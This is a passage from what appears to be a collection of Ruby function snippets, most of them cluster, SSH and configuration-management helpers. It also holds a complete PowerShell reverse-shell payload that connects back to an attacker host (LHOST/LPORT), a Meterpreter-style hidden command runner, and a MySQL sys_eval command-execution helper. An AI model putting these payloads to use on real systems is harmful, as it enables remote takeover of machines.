REXML::Document.new\n command = doc.add_element 'COMMAND'\n @cgi.params.each_pair { |key,value| command.attributes[key]=value}\n xmlCommand = doc.to_s\n socket = TCPSocket.new(@host,@port)\n socket.puts xmlCommand \n xmlResult = socket.gets.chop\n docResult = REXML::Document.new xmlResult\n end\n rescue\n puts 'Probleem bij uitvoeren commando'\n exit\n end\n end", "def dispatch\n @nodes.each do |node|\n conn = begin\n Train.create('ssh', host: node, port: 22, user: 'Administrator@cerny.cc', key_files: '/var/opt/delivery/workspace/.ssh/id_rsa').connection\n rescue\n Train.create('ssh', host: node, port: 22, user: 'root', key_files: '/var/opt/delivery/workspace/.ssh/id_rsa').connection\n end\n result = conn.run_command(@command)\n (result.exit_status.eql?(0) ? @results['succeeded'] << node : @results['failed'] << node)\n puts result.stdout\n puts result.stderr\n # @results.stdout << result.stdout\n # @results.stderr << result.stderr\n conn.close\n end\n end", "def tellNode(cmd, topo, domain)\n puts \"---------------------------------------------------\"\n d = (domain == nil) ? OConfig.domain : domain\n command = nil\n if (cmd == \"on\" || cmd == \"-on\" || cmd == \"--turn-on\")\n command = \"on\"\n elsif (cmd == \"offs\" || cmd == \"-offs\" || cmd == \"--turn-off-soft\")\n command = \"offSoft\"\n elsif (cmd == \"offh\" || cmd == \"-offh\" || cmd == \"--turn-off-hard\")\n command = \"offHard\"\n end\n if command == nil\n puts \"ERROR - Unknown command : '#{cmd}'\" \n puts \"Use 'help' to see usage information\" \n puts \"\"\n exit 1\n end\n puts \" Testbed : #{d} - Command: #{command}\"\n topo.eachNode { |n|\n url = \"#{OConfig[:tb_config][:default][:cmc_url]}/#{command}?x=#{n[0]}&y=#{n[1]}&domain=#{d}\"\n response = NodeHandler.service_call(url, \"Can't send command to CMC\")\n if (response.kind_of? Net::HTTPOK)\n puts \" Node n_#{n[0]}_#{n[1]} - Ok\"\n else\n puts \" Node n_#{n[0]}_#{n[1]} - Error (node state: 'Not Available')\"\n end\n }\n puts \"---------------------------------------------------\"\nend", "def cluster() node[:cluster_name] ; end", "def getl ( addr )\n #rv = `./dumper -v #{addr}`\n #rv = `./dump_user_v #{addr}`\n rv = `dumper -v -ahello #{addr}`\n rv.chomp\nend", "def rsh_ruby\n r = \"\"\n s = TCPSocket.new(@host, 514)\n s.write \"0\\0\"\n s.write \"#{@luser}\\0\"\n s.write \"#{@ruser}\\0\"\n s.write \"#{@command}\\0\"\n s.getc # cutting off the first byte, signalling?\n while line = s.gets\n if block_given?\n yield line\n else\n r << line\n end\n end\n s.close\n r == \"\" ? nil : r\n end", "def to_s\n return \"chef_run: #{node.run_list.to_s}\" unless node.run_list.empty?\n 'chef_run'\n end", "def execute(node)\n message = operation.piggyback(concern.command(database))\n node.process(message)\n end", "def run_and_return(cmd)\n output = []\n run cmd do |ch, st, data|\n output << data\n end\n return output.to_s\n end", "def get_anodes()\n nodes = [] ; 1.upto(32){|i|nodes << \"compute-0-#{i}\"}\n run_cluster(nodes, \"uptime\").map{|e|[e[0], e[1].scan(/\\d\\.\\d\\d/)[0].to_f, e[2]]}.sort_by{|e|e[1]} \nend", "def run_and_return(cmd)\n output = []\n run cmd do |ch, st, data|\n output << data\n end\n return output.to_s\n end", "def run_and_return(cmd)\n output = []\n run cmd do |ch, st, data|\n output << data\n end\n return output.to_s\n end", "def run_result; result['run_cyber_dojo_sh']; end", "def __cluster_info\n health = JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_cluster/health\")))\n nodes = if version == '0.90'\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/?process&http\")))\n else\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/process,http\")))\n end\n master = JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_cluster/state\")))['master_node']\n\n result = [\"\\n\",\n ('-'*80).ansi(:faint),\n 'Cluster: '.ljust(20).ansi(:faint) + health['cluster_name'].to_s.ansi(:faint),\n 'Status: '.ljust(20).ansi(:faint) + health['status'].to_s.ansi(:faint),\n 'Nodes: '.ljust(20).ansi(:faint) + health['number_of_nodes'].to_s.ansi(:faint)].join(\"\\n\")\n\n nodes['nodes'].each do |id, info|\n m = id == master ? '*' : '-'\n result << \"\\n\" +\n ''.ljust(20) +\n \"#{m} \".ansi(:faint) +\n \"#{info['name'].ansi(:bold)} \".ansi(:faint) +\n \"| version: #{info['version'] rescue 'N/A'}, \".ansi(:faint) +\n \"pid: #{info['process']['id'] rescue 'N/A'}, \".ansi(:faint) +\n \"address: #{info['http']['bound_address'] rescue 'N/A'}\".ansi(:faint)\n end\n\n result\n end", "def golang_exec(command)\n DeliveryGolang::Helpers.golang_exec(command, node)\n end", "def puppet_output(bolt_result)\n bolt_result.dig(0, 'value', 'stderr').to_s + \\\n bolt_result.dig(0, 'value', 'stdout').to_s\n end", "def execute\n # TODO: raise exception on execution error\n output = `#{bin_name} --no-complexity --no-cocomo -f cloc-yaml #{@source_code_dir}`\n yield output\n output\n end", "def node_info()\n node.each do |k,v|\n if \"#{v.class}\" == \"Chef::Node::ImmutableArray\" || \"#{v.class}\" == \"Chef::Node::ImmutableMash\"\n puts \"[#{k}]\"\n v.each do |x,y|\n puts \"\\t#{x}\\t#{y}\"\n end\n else\n puts \"[#{k}]\\t#{v}\"\n end\n puts\n end\nend", "def cmd_on_trgt_exec(session,cmdexe,opt,verbose)\n\tr=''\n\tsession.response_timeout=120\n\tif verbose == 1\n\t\tbegin\n\t\t\tprint_status \"\\tRunning command #{cmdexe}\"\n\t\t\tr = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true})\n\t\t\twhile(d = r.channel.read)\n\t\t\t\tprint_status(\"\\t#{d}\")\n\t\t\tend\n\t\t\tr.channel.close\n\t\t\tr.close\n\t\trescue ::Exception => e\n\t\t\tprint_status(\"Error Running Command #{cmdexe}: #{e.class} #{e}\")\n\t\tend\n\telse\n\t\tbegin\n\t\t\tprint_status \"\\trunning command #{cmdexe}\"\n\t\t\tr = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false})\n\t\t\tr.close\n\t\trescue ::Exception => e\n\t\t\tprint_status(\"Error Running Command #{cmdexe}: #{e.class} #{e}\")\n\t\tend\n\tend\nend", "def exec(command, *extra_args)\n ref_id = CommonLib.get_unique_refid\n resp_xml = \"#{@log_path}/response_#{ref_id}.xml\"\n args = [\"-jar\", @lib_path,\n \"-host\", @host,\n \"-user\", @user,\n \"-password\", @password,\n \"-xmloutputfile\", resp_xml,\n \"-c\", command] + extra_args\n # Puppet.debug(\"Executing compellent command: \" + args.join(\" \"))\n ret = system(\"java\", *args)\n parser_obj = ResponseParser.new('_')\n parser_obj.parse_exitcode(resp_xml)\n hash = parser_obj.return_response\n {:system_ret => ret,\n :xml_output_file => resp_xml,\n :xml_output_hash => hash, }\n end", "def command_line\n command_line = \"\"\n metadata['pipeline']['actions'].each do |action|\n command_line += action['commands'].join(' ') + \"\\n\"\n end\n command_line.chomp(\"\\n\")\n end", "def command\n cmd = [@serf, 'agent']\n\n cmd << ['-node', @name] if @name\n cmd << '-replay' if @replay\n cmd << '-discover' if @discover\n\n @initial_tags.each do |key, val|\n cmd << ['-tag', \"#{key}=#{val}\"]\n end\n\n cmd << [\n '-event-handler',\n [@villein_handler, *event_listener_addr].join(' ')\n ]\n\n @custom_event_handlers.each do |handler|\n cmd << ['-event-handler', handler]\n end\n\n %w(bind iface advertise config-file config-dir\n encrypt join log-level profile protocol rpc-addr\n snapshot tags-file).each do |key|\n\n val = instance_variable_get(\"@#{key.gsub(/-/,'_')}\")\n cmd << [\"-#{key}\", val] if val\n end\n\n cmd.flatten.map(&:to_s)\n end", "def list_nodes\n nodes = @vcenter['destfolder'].to_s + \"\\n\"\n @components.each do |component, _config|\n (1..@components[component]['count']).each do |i|\n nodes += @components[component]['addresses'][i - 1].ljust(18, ' ') +\n node_name(component, i) + @vcenter['domain'] + ' ' +\n @components[component]['runlist'].to_s + \"\\n\"\n end\n end\n nodes\n end", "def RunOnNode(node, cmd)\n if (node.class==String)\n\t@nodes_by_name[node].exec(cmd)\n elsif node.class==Orbit::Topology::Node\n\tNode(node.id).exec(cmd)\n end\n end", "def __print_cluster_info(port)\n health = JSON.parse(Net::HTTP.get(URI(\"http://localhost:#{port}/_cluster/health\")))\n nodes = JSON.parse(Net::HTTP.get(URI(\"http://localhost:#{port}/_nodes/process,http\")))\n master = JSON.parse(Net::HTTP.get(URI(\"http://localhost:#{port}/_cluster/state\")))['master_node']\n\n puts \"\\n\",\n ('-'*80).ansi(:faint),\n 'Cluster: '.ljust(20).ansi(:faint) + health['cluster_name'].to_s.ansi(:faint),\n 'Status: '.ljust(20).ansi(:faint) + health['status'].to_s.ansi(:faint),\n 'Nodes: '.ljust(20).ansi(:faint) + health['number_of_nodes'].to_s.ansi(:faint)\n\n nodes['nodes'].each do |id, info|\n m = id == master ? '+' : '-'\n puts ''.ljust(20) +\n \"#{m} #{info['name'].ansi(:bold)} | version: #{info['version']}, pid: #{info['process']['id']}, address: #{info['http']['bound_address']}\".ansi(:faint)\n end\n end", "def run_output\n run(\n result:\n ::Kitchen::Terraform::Client::Command.output(\n options:\n ::Kitchen::Terraform::Client::Options\n .new\n .json\n .state(path: config_state),\n working_directory: instance_directory\n )\n )\n end", "def node_message_roundtrip\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'aliveness-test', Conn[:vhost]].join('/')} | grep -c 'ok'`\n end", "def rcon_exec(ip, port, is_hltv, pwd, command)\n server = GoldSrcServer.new(IPAddr.new(ip), port, is_hltv)\n if is_hltv\n # nothing at this time...\n else\n begin\n server.rcon_auth(pwd)\n status = server.rcon_exec(command)\n hostname = status.split(/\\r?\\n/)[0].gsub('hostname: ', '')\n return \"#{ip}:#{port} => #{hostname}\"\n rescue\n return 'Unknown command or authentication issue.'\n end\n end\n end", "def out(command)\n assert(system(command))\n end", "def run\n out = \"\"\n\n begin\n PTY.spawn(command) do |stdout, stdin, pid|\n begin\n stdout.each do |line|\n out << line.strip+\"\\n\"\n print line if @tee\n end\n rescue Errno::EIO\n #Errno:EIO error probably just means that the process has finished giving output\n end\n Process.wait(pid)\n end\n rescue PTY::ChildExited\n # The child process has exited.\n end\n\n if $?.exitstatus == 0\n return Parser.parse(out) if @parse\n return out\n else\n raise \"httperf exited with status #{$?.exitstatus}\\n\\nhttperf output:\\n--------------\\n#{out}\"\n end\n end", "def esx_cmd(command)\n cmd = \"#{BIN_LOCATION}/tty_expect -u #{@user} -p #{@pass} #{command}\"\nend", "def command_string\n lhost = datastore['LHOST']\n lport = datastore['LPORT']\n powershell = %Q^\n$a='#{lhost}';\n$b=#{lport};\n$c=New-Object system.net.sockets.tcpclient;\n$nb=New-Object System.Byte[] $c.ReceiveBufferSize;\n$ob=New-Object System.Byte[] 65536;\n$eb=New-Object System.Byte[] 65536;\n$e=new-object System.Text.UTF8Encoding;\n$p=New-Object System.Diagnostics.Process;\n$p.StartInfo.FileName='cmd.exe';\n$p.StartInfo.RedirectStandardInput=1;\n$p.StartInfo.RedirectStandardOutput=1;\n$p.StartInfo.RedirectStandardError=1;\n$p.StartInfo.UseShellExecute=0;\n$q=$p.Start();\n$is=$p.StandardInput;\n$os=$p.StandardOutput;\n$es=$p.StandardError;\n$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);\n$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);\n$c.connect($a,$b);\n$s=$c.GetStream();\nwhile ($true) {\n start-sleep -m 100;\n if ($osread.IsCompleted -and $osread.Result -ne 0) {\n $r=$os.BaseStream.EndRead($osread);\n $s.Write($ob,0,$r);\n $s.Flush();\n $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);\n }\n if ($esread.IsCompleted -and $esread.Result -ne 0) {\n $r=$es.BaseStream.EndRead($esread);\n $s.Write($eb,0,$r);\n $s.Flush();\n $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);\n }\n if ($s.DataAvailable) {\n $r=$s.Read($nb,0,$nb.Length);\n if ($r -lt 1) {\n break;\n } else {\n $str=$e.GetString($nb,0,$r);\n $is.write($str);\n }\n }\n if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) {\n break;\n }\n if ($p.ExitCode -ne $null) {\n break;\n }\n}\n^.gsub!(\"\\n\", \"\")\n\n \"powershell -w hidden -nop -c #{powershell}\"\n end", "def command(command)\n cmd = \"#{@vzctl} exec2 #{@ctid} \"\n cmd << command\n execute(cmd)\n end", "def chef_client_command\n \"chef-client\"\n end", "def xdotool(command)\n puts \"\\n#{command}\" if $debug\n # Run xdotool with the specified command in a shell.\n # \"strip\" is necessary for pesky newlines\n `xdotool #{command}`.strip\nend", "def execute\n node = opts[:node]\n \n cmd = \"facter --yaml\"\n cmd += \" --puppet\" if opts[:puppet]\n \n sh = shell :c => cmd, :n => node\n\n rd = sh.to_hash\n rd[:facts] = begin\n YAML::load(sh.stdout)\n rescue\n end\n\n rd\n end", "def command_exec(libPath,respXml,command)\n #ref_id = CommonLib.get_unique_refid\n #resp_xml = \"#{@log_path}/response_#{ref_id}.xml\"\n args = [\"-jar\", libPath,\n \"-host\", @host,\n \"-user\", @user,\n \"-password\", @password,\n \"-xmloutputfile\", respXml,\n \"-c\", command]\n # Puppet.debug(\"Executing compellent command: \" + args.join(\" \"))\n ret = `/opt/puppet/bin/java #{args.join(' ')} 2>&1`\n Puppet.debug(\"Output: #{ret}\")\n # Need to retry if there is any connection reset message\n if ret.match(/Connection reset|Couldn't connect to/i)\n Puppet.debug(\"Connection reset observed. sleep for 10 seconds and retry\")\n sleep(10)\n ret = `/opt/puppet/bin/java #{args.join(' ')} 2>&1`\n else\n ret\n end\n end", "def backtix cmd\n out, err = backtix2 cmd\n err.strip!\n if 0 != err.length\n raise Hipe::AppFail.new(\"failed to run system command -- #{err}\")\n end\n out\n end", "def run_and_output(cmd)\n run(cmd).output\n end", "def externalNodes\n certname = params[:name]\n @host ||= resource_base.find_by_certname certname\n @host ||= resource_base.find_by_name certname\n not_found and return unless @host\n\n begin\n respond_to do |format|\n format.html { render :text => \"<pre>#{@host.info.to_yaml}</pre>\" }\n format.yml { render :text => @host.info.to_yaml }\n end\n rescue\n # failed\n logger.warn \"Failed to generate external nodes for #{@host} with #{$!}\"\n render :text => _('Unable to generate output, Check log files\\n'), :status => 412 and return\n end\n end", "def slurm_nodename\n slurm_nodename_file = \"#{node['cluster']['slurm_plugin_dir']}/slurm_nodename\"\n\n IO.read(slurm_nodename_file).chomp\nend", "def to_s\n msg_str = \"Command Packet Hex Str: #{@cmd_str.to_s}\\n\"\n msg_str << \"net_id: #{@net_id}\\n\"\n msg_str << \"pkt_no: #{@pkt_no}\\n\"\n msg_str << \"cmd_id: #{@cmd_id.to_s(16)}\\n\"\n msg_str << \"res_req: #{@res_req}\\n\"\n msg_str << \"ack_req: #{@ack_req}\\n\"\n msg_str << \"ack_bit: #{@ack_bit}\\n\"\n msg_str << \"err_bit: #{@err_bit}\\n\"\n if @data != nil\n data_str = \"\"\n if @data == CmdManager::DONT_CARE\n data_str = CmdManager::DONT_CARE\n else \n @data.each{|x| \n if x == CmdManager::DONT_CARE\n data_str << CmdManager::DONT_CARE\n else\n data_str << \"#{x.to_s(16)} \"\n end\n }\n end\n \n msg_str << \"data: [#{data_str.chop}]\\n\"\n end\n if @error_no != 0\n msg_str << \"error_desc: #{@error_desc}\\n\"\n end\n \n msg_str\n end", "def check_cluster\n hostname = \"botha1.cs.ualberta.ca\"\n username = \"prion\"\n keys = ['/apps/phaster/.ssh/botha', '~/.ssh/id_rsa'] # private keys to test (not all the files need to exist)\n\n # Can we connect?\n begin\n ssh = Net::SSH.start(hostname, username, :keys => keys, :auth_methods => ['publickey']) # Only try public key authentication.\n rescue\n #puts \"Unable to connect to #{hostname} using #{username}\"\n return('Unable to connect to the computing cluster! Please contact PHASTER support so the issue can be addressed.')\n end\n\n # Can qsub command be found?\n res = ssh.exec!('which qsub')\n if res =~ /no qsub in/\n return('A problem was detected on the computing cluster! Please contact PHASTER support so the issue can be addressed.')\n end\n\n # Are there any cluster child nodes that are alive?\n res = ssh.exec!('alive')\n c = 0\n res.split(\"\\n\").each { |line|\n c += 1\n }\n #puts \"#{c} child nodes available\"\n if c == 0\n return('A problem was detected on the computing cluster! Please contact PHASTER support so the issue can be addressed.')\n end\n\n ssh.close\n return('')\n end", "def dumpCluster(cluster)\n $evm.log(\"info\",\"#{@method} - Cluster:<#{cluster.name}> Begin Attributes [cluster.attributes]\")\n cluster.attributes.sort.each { |k, v| $evm.log(\"info\", \"#{@method} - Cluster:<#{cluster.name}> Attributes - #{k}: #{v.inspect}\")}\n $evm.log(\"info\",\"#{@method} - Cluster:<#{cluster.name}> End Attributes [cluster.attributes]\")\n $evm.log(\"info\",\"\")\n\n $evm.log(\"info\",\"#{@method} - Cluster:<#{cluster.name}> Begin Associations [cluster.associations]\")\n cluster.associations.sort.each { |assc| $evm.log(\"info\", \"#{@method} - Cluster:<#{cluster.name}> Associations - #{assc}\")}\n $evm.log(\"info\",\"#{@method} - Cluster:<#{cluster.name}> End Associations [cluster.associations]\")\n $evm.log(\"info\",\"\")\n\n unless cluster.tags.nil?\n $evm.log(\"info\",\"#{@method} - Cluster:<#{cluster.name}> Begin Tags [cluster.tags]\")\n cluster.tags.sort.each { |tag_element| tag_text = tag_element.split('/'); $evm.log(\"info\", \"#{@method} - Cluster:<#{cluster.name}> Category:<#{tag_text.first.inspect}> Tag:<#{tag_text.last.inspect}>\")}\n $evm.log(\"info\",\"#{@method} - Cluster:<#{cluster.name}> End Tags [cluster.tags]\")\n $evm.log(\"info\",\"\")\n end\n\n $evm.log(\"info\",\"#{@method} - Cluster:<#{cluster.name}> Begin Virtual Columns [cluster.virtual_column_names]\")\n cluster.virtual_column_names.sort.each { |vcn| $evm.log(\"info\", \"#{@method} - Cluster:<#{cluster.name}> Virtual Columns - #{vcn}: #{cluster.send(vcn)}\")}\n $evm.log(\"info\",\"#{@method} - Cluster:<#{cluster.name}> End Virtual Columns [cluster.virtual_column_names]\")\n $evm.log(\"info\",\"\")\n end", "def installed_version()\n version = '0.0.0'\n if ::File.exists?(node_exe)\n nodejs_cmd = Mixlib::ShellOut.new(\"\\\"#{node_exe}\\\" --version\")\n nodejs_cmd.run_command\n version = nodejs_cmd.stdout.chomp\n end\n Chef::Log.info(\"Found NodeJS installed version: #{version}\")\n version\n end", "def sys_eval_cmd(dbc, cmd)\n begin\n q = dbc.query(\"SELECT sys_eval('#{cmd}');\")\n q.each { |x| @res = x[0] }\n return @res\n rescue Mysql::Error => e\n puts \"Problem Executing Command\".light_red + \"!\".white\n puts \"\\t=> \".white + \"#{e}\".light_red\n return nil\n end\nend", "def cmd(command)\n\t\tbegin\n\t\t\t`#{command}`\n\t\trescue Exception => e\n\t\t\te.to_s\n\t\tend\n\tend", "def node\n Chef.run_context.node\n end", "def component_version(exec)\n cmd = \"#{exec} --version\"\n po = Puppet::Util::Execution.execute(cmd, combine: false)\n raise \"Exit #{po.exitstatus} running #{cmd.join(' ')}. STDOUT: #{po}\" if po.exitstatus != 0\n\n po.strip\n end", "def state\n results = (nodetool_netstats || '').split(\"\\n\")\n results.map! { |line| line.strip }\n results.select! { |line| line.include? 'Mode:' }\n results.map! { |line| line.split(':')[1] }\n results.compact!\n return nil if results.size != 1\n results.first.strip.downcase.to_sym\n end", "def assert_exec_output(node, command, expected_exitcode, expected_outputs)\n params = {}\n params[:exceptiononfailure] = false\n params[:exitcode] = true\n (exitcode, output) = node.execute(command, params)\n assert_equal(expected_exitcode.to_s, exitcode, \"Wrong exitcode returned\")\n assert_correct_output(expected_outputs, output)\n end", "def cloud_metadata_generation_command\n ruby_path = File.normalize_path(AgentConfig.ruby_cmd)\n rs_cloud_path = File.normalize_path(Gem.bin_path('right_link', 'cloud'))\n return \"#{ruby_path} #{rs_cloud_path} --action write_cloud_metadata\"\nend", "def vtysh_cmd(cmds)\n vtysh_opts = ['vtysh'].concat(cmds.map { |cmd| \"-c \\\"#{cmd}\\\"\" })\n if cmds.length > 1\n vtysh_opts.join(\"\\n\") # when multiple commands\n else\n vtysh_opts.join(' ') # when single command\n end\n end", "def execute_export cmd, metadata\n metadata.store!\n result = \"\"\n\n # Execute Export command on the source DB server\n result = metadata.ssh.exec!(cmd)\n\n return result\n end", "def command_string\n\t\treturn datastore['CMD'] || ''\n\tend", "def csystem(cmd, err, opts = {})\n cmd = \"bash -l -c \\\"#{cmd}\\\"\" if opts[:bash] || opts[\"bash\"]\n print \"Running command: #{cmd.inspect}\\n\" if opts[:to_console] || opts[\"to_console\"] || opts[:debug] || opts[\"debug\"]\n if opts[:to_console] || opts[\"to_console\"]\n system(cmd, out: $stdout, err: :out)\n else\n out = `#{cmd}`\n end\n unless $?.success? || opts[:fail_ok] || opts[\"fail_ok\"]\n puts \"Error running command:\\n#{cmd.inspect}\"\n puts \"Output:\\n#{out}\\n=====\" if out\n raise err\n end\nend", "def command_output\n [command.stdout, command.stderr].join(\"\\n\\n\")\n end", "def cmd\n (@cmd ? @cmd : @ctx.cmd).join ' '\n end", "def runCommandsOnCluster(commands, waitToFinish=false, name = \"\", output=false, priorityclass=\"eh\")\n\tt=Time.now\n\tdatetime = t.strftime(\"%Y-%m-%d %H-%M-%S\") # YYYY-MM-DD HH:MM:SS\n\ttodoFilename = \"#{tmpdir}#{name}-tmpAlgosToRun-#{datetime}-#{random_number_without_rand}\".gsub(/ /,\"\")\n\tFile.open(todoFilename, \"w\"){|f|\n\t\tfor command in commands\n\t\t\tf.puts \"#{command}\"\n\t\tend\n\t}\n\n\tshFilename = \"#{tmpdir}#{name}-tmpShFile-#{datetime}-#{random_number_without_rand}.sh\".gsub(/ /,\"\")\n\t#puts \"todoFilename: #{todoFilename}, shFilename: #{shFilename}\"\n\tFile.open(shFilename, \"w\"){|f|\n\t\tf.puts \"#!/bin/sh\"\n\t\tf.puts \"echo \\\"Here's what we know from the SGE environment\\\"\"\n\t\tf.puts \"echo HOME=$HOME\"\n\t\tf.puts \"echo USER=$USER\"\n\t\tf.puts \"echo JOB_ID=$JOB_ID\"\n\t\tf.puts \"echo JOB_NAME=$JOB_NAME\"\n\t\tf.puts \"echo HOSTNAME=$HOSTNAME\"\n\t\tf.puts \"echo SGE_TASK_ID=$SGE_TASK_ID\"\n\t\tf.puts \"echo STDOUT_FILE=$stdout\"\n\t\tf.puts \"echo STDERR_FILE=$stderr\"\n\t\tf.puts \"echo jobin=$jobin\"\n\t\tf.puts \"echo jobout=$jobout\"\n\t\tf.puts \"echo joberr=$joberr\"\n\t\tf.puts \"RUBYLIB=/ubc/cs/home/h/hutter/arrowspace/ParamILS/scripts:/cs/public/lib/pkg/ruby-1.8.2/lib/ruby/site_ruby/1.8:/.autofs/binaries/cspubliclib/pkg/ruby-mysql/mysql-ruby-2.7.1\"\n\t\tf.puts \"export RUBYLIB\"\n\t\t#/cs/local/bin in the PATH is absolutely necessary for JAVA, get java.lang.NoClassDefFoundError otherwise !!!\n\t\tf.puts \"PATH=/cs/beta/lib/pkg/sge-6.0u7_1/bin/lx24-x86:/cs/local/bin:/cs/local/generic/bin:/cs/local/bin/pbm+:/usr/local/bin:/usr/bin/X11:/bin:/usr/ucb:/usr/bin:/ubc/cs/home/h/hutter/bin:/ubc/cs/home/h/hutter/bin/ix86linux:/opt/kde3/bin:/opt/gnome/bin:/usr/games:/usr/sbin:/sbin:/usr/lib/java/bin:/cs/public/bin:/cs/public/generic/bin:/cs/public/bin/xwindows:/ubc/cs/home/h/hutter/ruby-scripts:/ubc/cs/home/h/hutter/ruby-scripts/autoparam/:/ubc/cs/home/h/hutter/bioinf/impl/scripts:/ubc/cs/home/h/hutter/lib:/ubc/cs/home/h/hutter/mcmc/bin/:/ubc/cs/home/h/hutter/arrowspace/ParamILS/testbed/scripts:/ubc/cs/home/h/hutter/arrowspace/ParamILS/scripts:/cs/public/lib/pkg/ruby-1.8.2/lib/ruby/site_ruby/1.8:/.autofs/binaries/cspubliclib/pkg/ruby-mysql/mysql-ruby-2.7.1:/ubc/cs/home/h/hutter/ant/bin:$SGE_BINARY_PATH:$PATH\"\n\t\tf.puts \"export PATH\"\n\t\tf.puts \"ILM_LICENSE_FILE=/cs/local/generic/lib/pkg/ilog/ilm/access.ilm\"\n\t\tf.puts \"ILOG_LICENSE_FILE=/cs/local/generic/lib/pkg/ilog/ilm/access.ilm\"\n\t\tif output\n\t\t\tf.puts \"#\\$ -o /ubc/cs/home/h/hutter/arrowspace/sgeout -e /ubc/cs/home/h/hutter/arrowspace/sgeout\"\n\t\telse\n\t\t\tf.puts \"#\\$ -o /dev/null -e /dev/null\"\n\t\tend\n\t\tf.puts \"line=`head -n $SGE_TASK_ID #{todoFilename} | tail -1`\t# Get line of todoFilename.\"\n\n\t\tcmd = \"cd #{$work_dir};\"\n\t\tf.puts \"echo Calling: #{cmd} #output\"\n\t\tf.puts cmd\n\n\t\t#cmd= \"pwd\"\n\t\t#f.puts \"echo Calling: #{cmd} #output\"\n\t\t#f.puts cmd\n\t\tcmd= \"$line\"\n\t\tf.puts \"echo Calling: #{cmd} #output\"\n\t\tf.puts cmd\n\t}\n\n\tif commands.length > 0\n\t\tconsumables = \"\"\n\t\tconsumables += \" -l dbheavy=1\" if $dbheavy\n\t\tconsumables += \" -l db=1\" if $dblight\n\t\tconsumables += \" -l cplex=1\" if $cplex\n#\t\tsge_cmd = \"qsub -cwd -m n -t 1-#{commands.length} -l memheavy=1 -P eh #{consumables} #{shFilename}\"\n\t\tsge_cmd = \"qsub -cwd -m n -t 1-#{commands.length} -P #{priorityclass} #{consumables} #{shFilename}\"\n\tend\n\n\tputs sge_cmd\n\tputs shFilename\n\tjobid = nil\n\t#=== Start job and remember job id.\n\tFile.popen(sge_cmd){|sge_response|\n\t\tline = sge_response.gets\n\t\tputs line\n\t\tif line =~ /Your job (\\d+)\\./\n\t\t\tjobid = $1.to_i\n\t\telsif line =~ /Your job (\\d+) \\(/\n\t\t\tjobid = $1.to_i\n\t\tend\n\t}\n##\tFile.delete(todoFilename)\n#\tFile.delete(shFilename)\n\n\tif waitToFinish\n\t#=== Sleep until job done.\n\t\tputs \"Waiting for SGE job #{jobid} to finish. TODO filename = #{todoFilename}\"\n\t\tstill_running = true\n\t\twhile still_running\n\t\t\tsleep(10)\n\t\t\tstill_running = false\n\t\t\tFile.popen(\"qstat\"){|qstat_output|\n\t\t\t\twhile line = qstat_output.gets\n\t\t\t\t\tstill_running = true if line =~ /^\\s*#{jobid}\\s*/\n\t\t\t\tend\n\t\t\t\tputs \"Waiting for SGE job #{jobid} to finish. TODO filename = #{todoFilename}\"\n\t\t\t}\n\t\tend\n\tend\n\treturn [jobid, todoFilename]\nend", "def remote(params)\n case (params[:command])\n when \"status\"\n return node_status(params)\n when \"auth\"\n return auth(params)\n when \"resource_status\"\n return resource_status(params)\n when \"create_cluster\"\n return create_cluster(params)\n when \"set_corosync_conf\"\n if set_cluster_conf(params)\n return \"Succeeded\"\n else\n return \"Failed\"\n end\n when \"cluster_start\"\n return cluster_start(params)\n when \"cluster_stop\"\n return cluster_stop(params)\n when \"resource_start\"\n return resource_start(params)\n when \"resource_stop\"\n return resource_stop(params)\n when \"check_gui_status\"\n return check_gui_status(params)\n end\nend", "def cmd(gem_source, component)\n [\n env_vars(gem_source, component),\n exec_order,\n \"oo::#{@impl}\",\n @json,\n @circuit\n ].join(' ')\n end", "def get_cluster_ips\n node_ips get_nodes\nend", "def vite_executable(cmd)\n npx = cmd.include?('node') ? `which npx`.chomp(\"\\n\") : 'npx' rescue 'npx'\n [npx, 'vite']\n end", "def run_g5kcheck(site_uid, fnode_uid, options)\n puts \"#{site_uid}: Processing #{fnode_uid}\"\n\n begin\n Net::SSH.start(options[:ssh][:host].gsub(\"%s\", site_uid), options[:ssh][:user], options[:ssh][:params]) { |ssh|\n output1 = ssh.exec!(\"sudo ssh -o StrictHostKeychecking=no root@#{fnode_uid} 'sudo /usr/bin/g5k-checks -m api'\")\n output2 = ssh.exec!(\"sudo ssh -q -o StrictHostKeychecking=no root@#{fnode_uid} 'cat /tmp/#{fnode_uid}.yaml'\")\n\n if output2 == ''\n puts output1 # ex: \"ssh: connect to host graphite-1.nancy.grid5000.fr port 22: No route to host\\r\\n\"\n else\n File.open(\"output/#{fnode_uid}.yaml\", 'w') do |f|\n f.write(output2) \n end\n end\n }\n rescue Exception => e\n puts \"#{site_uid}: Error while processing #{fnode_uid} - #{e.class}: #{e.message}\"\n end\nend", "def csystem(cmd, err, opts = {})\n print \"Running command: #{cmd.inspect}\\n\" if opts[:debug] || opts[\"debug\"]\n if VERBOSE\n system(cmd, out: $stdout, err: $stderr)\n else\n out = `#{cmd}`\n end\n unless $?.success? || opts[:fail_ok] || opts[\"fail_ok\"]\n puts \"Error running command:\\n#{cmd.inspect}\"\n puts \"Output:\\n#{out}\\n=====\" #if out\n raise err\n end\nend", "def build_npm_cmd\n options = install_options\n nodepath = options[:nodepath] || ((node = which 'node') && File.dirname(node))\n raise Puppet::Error, \"failed to find node.js, set 'nodepath' property or PATH\" unless nodepath\n \"#{nodepath}/npm\"\n end", "def to_s\n\t\t@clusters.map { |x| x.to_s }.join(\"\\n\")\n\tend", "def gen_node_infos(cluster_yml)\n\n master_n = 1\n master_mem = cluster_yml['master_mem']\n master_cpus = cluster_yml['master_cpus']\n\n slave_n = cluster_yml['slave_n']\n slave_mem = cluster_yml['slave_mem']\n slave_cpus = cluster_yml['slave_cpus']\n\n master_ipbase = 